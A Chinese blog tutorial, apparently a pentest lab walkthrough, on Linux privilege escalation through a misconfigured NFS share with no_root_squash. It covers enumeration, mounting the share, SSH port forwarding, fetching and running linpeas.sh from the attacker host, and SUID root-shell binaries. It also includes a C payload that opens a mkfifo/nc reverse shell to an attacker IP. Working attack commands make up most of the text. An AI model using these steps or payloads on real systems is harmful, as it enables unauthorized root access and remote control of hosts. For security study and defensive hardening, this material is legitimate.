Linux 提权-NFS 共享

提权攻击教程:通过NFS共享

在本教程中,我们将学习如何通过枚举和攻击NFS共享来提升权限。

什么是 NFS 共享?

NFS(网络文件系统)是一种在端口2049上运行的网络文件共享协议,由服务器和客户端两个组件组成。NFS服务器上创建共享目录,可以通过网络与其他Linux客户端共享文件。获得权限的用户可以将文件添加到共享中,并与有权访问该目录的其他用户共享。
默认情况下,每个NFS共享都会启用root_squash功能,以防止共享文件拥有root:root身份或特殊权限(即启用root_squash后,所有共享文件都会变成nobody:nogroup身份)。但是,如果启用了no_root_squash功能,文件可以以root身份存在,这就容易导致权限升级。我们将在本文中展示这种情况。

外部枚举 NFS 共享

当寻找NFS共享时,我们通常会发现它们是对外开放的,因为NFS客户端需要远程访问。这意味着我们可以通过nmap扫描查看目标是否正在运行NFS服务器并具有可用的共享。

使用 Nmap 枚举 NFS 共享

如前所述,我们可以在nmap扫描期间发现目标上的NFS共享是否开放。我们来看一下具体操作:

nmap -A -sV -sC -T4 172.16.1.175 -p- -oN scan.nmap

在这里插入图片描述

NFS共享的默认端口是2049,但我们对端口111也很感兴趣,因为这是NFS服务绑定的rpc端口。现在我们可以继续枚举该服务。

枚举 NFS 共享

枚举NFS共享有两种方式:使用nmap或showmount命令。
通常,我们使用showmount命令进行快速枚举:

showmount -e 172.16.1.175

在这里插入图片描述

这个命令显示了文件系统根目录下名为/share的共享文件夹。接下来,我们可以看到该共享应用了两组特权。
第一组权限仅针对本地主机(127.0.0.1/32)设置,第二组权限适用于网络中的所有主机(172.16.1.0/24)。由于我们的攻击者计算机的IP地址是172.16.1.30,因此我们可以与共享进行交互。
另外,我们还可以使用nmap进行更深入的枚举。运行以下命令可以执行所有与NFS相关的nmap脚本:

nmap -sT -sV --script nfs* 172.16.1.175 -p111

在这里插入图片描述

这个命令比showmount的输出更详细,我们可以看到nmap实际连接到了共享并列出了里面的文件。例如,/share目录的所有权限都是rwx,这意味着任何人都可以在其中读写,但无法执行共享中的任何二进制文件或脚本。共享里面只有一个文件:“welcome.txt”。其他信息还包括可以挂载共享的IP范围以及共享的可用空间。
通过两种不同的方式枚举共享文件夹后,我们可以确认我们属于172.16.1.0/24网段,这意味着我们可以挂载此共享,查看welcome.txt文件,并尝试写入文件。我们来看看能否进行特权文件写入。

挂载 NFS 共享

枚举完成后,我们可以挂载共享。我们需要在攻击者机器上创建一个挂载点,以便与共享进行交互:

mkdir /mnt/share

创建挂载点后,我们尝试挂载共享并将其链接到挂载点。我们先尝试使用版本2进行挂载:

mount -o rw,vers=2 172.16.1.175:/share /mnt/share

在这里插入图片描述

如果版本2不支持,我们尝试版本3:

mount -o rw,vers=3 172.16.1.175:/share /mnt/share

在这里插入图片描述

挂载成功后,我们可以使用df -h命令查看所有挂载点:

df -h

在这里插入图片描述

完美!现在,我们可以测试另一个命令:

mount -t nfs 172.16.1.175:/share /mnt/share -vvvv

这个命令尝试使用最新版本进行连接,并使用-vvvv参数提供详细输出以查看是否有错误。
在这里插入图片描述

此时,共享已挂载完成,我们可以进入/mnt/share文件夹,准备新建一个文件以查看权限。我们最关心的是能否以root身份执行特权文件写入。
在这里插入图片描述

不幸的是,当我们创建测试文件时,文件的所有者和组均为nobody:nogroup。这意味着共享启用了root_squash。不过,我们还不能放弃,因为共享还向127.0.0.1/32开放,后者包含不同的权限,例如启用了no_root_squash
为了进一步枚举此服务,我们需要在目标上立足。如果我们能以root身份写入,这就意味着启用了no_root_squash,我们甚至还没在目标机器上建立立足点就已经找到了特权升级的路径!

查看 welcome.txt 文件

现在,我们所能做的就是枚举共享内的文件,查看“welcome.txt”内容:

cat /mnt/share/welcome.txt

在这里插入图片描述

这告诉我们,新用户帐户的密码为P@ssw0rd,他们需要在7天内更改密码。

内部枚举 NFS 配置

假设我们已经获得凭证并在目标机器上站稳了脚跟,接下来我们了解如何手动和使用LinPEAS枚举NFS服务器配置。

ssh juggernaut@172.16.1.175

在这里插入图片描述

手动枚举 NFS

要手动枚举NFS服务器的配置,我们需要查看NFS访问控制列表(/etc/exports)的内容:

cat /etc/exports

在这里插入图片描述

在这里,我们可以看到只有/share目录是共享的,并且有两个单独的条目。第二个条目设置了no_root_squash

  • rw:允许客户端对卷进行读写操作。
  • sync:在回复前将更改写入磁盘,提供更稳定的环境,但降低速度。
  • insecure:允许客户端使用任何端口访问NFS共享。
  • no_subtree_check:阻止子树检查,提升文件访问速度。
  • no_root_squash:允许在共享内以root身份写入文件。默认情况下,NFS会将远程root用户的请求转换为服务器上的非特权用户。
    第一个/share条目适用于外部IP客户端,不包含no_root_squash,意味着启用了root_squash,这就是为什么测试文件的所有者是nobody:nogroup。第二个/share条目确实启用了no_root_squash,意味着本地访问共享允许特权文件写入!
    唯一的问题是:如何在本地与共享交互,以root身份写入恶意文件?答案是使用端口转发!
    我们将共享端口转发到攻击者机器,能够在攻击者机器上挂载共享。由于我们在“本地”访问共享时是攻击者机器上的root用户,因此可以以root身份编写恶意SUID可执行文件,然后通过标准用户执行它来提升权限。

工具枚举 NFS

LinPEAS是终极后漏洞枚举工具。我们使用LinPEAS枚举NFS共享设置:

cd /dev/shm
wget http://172.16.1.30/linpeas.sh
chmod 755 ./linpeas.sh
./linpeas.sh

在这里插入图片描述
在这里插入图片描述

LinPEAS发现no_root_squash已设置并标记为红色/黄色。

端口转发 NFS 共享

要与本地共享交互,需要将共享直接挂载在目标主机上,这需要我们是root。但我们可以通过端口转发以root身份从localhost挂载此服务器。以下命令用于将端口2049本地转发到攻击者计算机:

ssh -N -L 127.0.0.1:2049:127.0.0.1:2049 juggernaut@172.16.1.175

在这里插入图片描述

看到提示挂起,说明端口转发成功;当我们在攻击者机器上打开一个新选项卡并运行netstat -tulpn命令时,可以看到端口2049在本地打开:

netstat -tulpn

在这里插入图片描述

Great!现在,我们可以与该服务进行交互,就好像它是在攻击者机器上运行一样。

挂载 NFS 共享并提权

挂载共享并测试特权文件写入:

mount -t nfs -o port=2049 127.0.0.1:/share /mnt/share
touch /mnt/share/testfile

在这里插入图片描述
在这里插入图片描述

这次我们的测试文件是以root身份写入的!这意味着我们可以创建一个恶意二进制文件,或将/bin/bash复制到共享中并设置root:root所有权和SUID权限,然后通过SSH返回受害者并使用Juggernaut执行它以提升root权限。

示例 1:为 Root Shell 制作漏洞利用程序

在攻击者计算机上制作自定义漏洞利用程序,并将其放入共享文件夹中:

echo 'int main() { setgid(0); setuid(0); system("/bin/bash -p"); return 0; }' > /mnt/share/root_shell.c
gcc ./root_shell.c -o ./root_shell
cp root_shell /mnt/share/
chmod +s /mnt/share/root_shell

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

确认二进制文件归root所有并设置了SUID位。通过SSH返回受害者并导航到共享文件夹,执行./root_shell进入root shell。

./mnt/share/root_shell

在这里插入图片描述

如果需要反向shell,使用以下命令制作漏洞利用程序:

echo 'int main() { setgid(0); setuid(0); system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.16.1.30 443 >/tmp/f"); return 0; }' > /mnt/share/root_reverse_shell.c

示例 2:为 Root Shell 复制 /bin/bash

另一种更简单的方法是将/bin/bash复制到挂载的共享文件夹中,并将所有权更改为root:root并授予SUID权限。通过SSH作为Juggernaut返回受害者,然后执行SUID bash二进制文件获得root shell。
在受害者机器上复制/bin/bash到共享中:

cp /bin/bash /mnt/share/

在这里插入图片描述

回到攻击者机器上,将文件的所有权更改为root并授予SUID权限:

chown root:root /mnt/share/bash
chmod +s /mnt/share/bash

在这里插入图片描述

最后,我们只需要再次返回受害者 SSH 会话,然后执行二进制文件,我们就应该进入了 root shell。

从受害者的角度来看,一切看起来都很好。
在这里插入图片描述

/mnt/share/bash -p

在这里插入图片描述

BOOM!成功获得root shell!

  • 17
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值